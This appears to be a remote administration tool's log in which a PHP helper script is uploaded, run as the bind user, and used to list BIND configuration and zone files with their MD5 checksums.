MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 14c1edeb05e4031ffc2f3b7e0fb4d902
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 13:34:10: Establishing a connection
2026-02-09 13:34:10: 

PUT: /tmp/pkp634231

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 13:34:10: 

runuser -l bind -s /bin/bash -c '/tmp/pkp634231; rm /tmp/pkp634231'

2026-02-09 13:34:10: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 14c1edeb05e4031ffc2f3b7e0fb4d902
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 13:36:45: Establishing a connection
2026-02-09 13:36:45: 

PUT: /tmp/pkp613830

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 13:36:46: 

runuser -l bind -s /bin/bash -c '/tmp/pkp613830; rm /tmp/pkp613830'

2026-02-09 13:36:46: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
